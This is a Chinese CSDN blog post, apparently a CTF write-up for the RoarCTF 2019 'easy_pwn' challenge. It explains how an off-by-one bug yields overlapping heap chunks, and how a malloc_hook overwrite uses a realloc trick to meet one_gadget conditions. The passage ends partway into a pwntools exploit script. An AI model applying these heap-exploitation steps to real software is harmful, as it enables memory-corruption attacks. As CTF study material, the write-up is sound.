【pwn】roarctf_2019_easy_pwn

最新推荐文章于 2024-02-03 02:09:42 发布

不干正事的拖延症患者

最新推荐文章于 2024-02-03 02:09:42 发布

阅读量2.1k

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/github_36788573/article/details/103674651

版权

该博客主要探讨了RoarCTF 2019中的一道名为Easy Pwn的题目。文章指出，在保护全开的情况下，通过一个off-by-one漏洞，可以实现内存重叠。由于栈条件限制，onegadget无法使用，作者建议利用realloc技巧来调整栈，以达到控制malloc_hook的目的。内容参考了堆的六种利用手法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

例行检查
在这里插入图片描述保护全开，分析程序。

当edit大小比申请大小多10的时候可以多输入一字节，存在off-by-one。修改size来进行overlap。需要注意的是最后覆盖malloc_hook时，onegadget都不可用，应为栈条件不满足，可以利用realloc的trick来调整栈。
参考：堆的六种利用手法

from pwn import *

io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc-2.23.so')

def add(size):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def edit(index,size,data):
    io.recvuntil('choice: ')
    io.sendline(<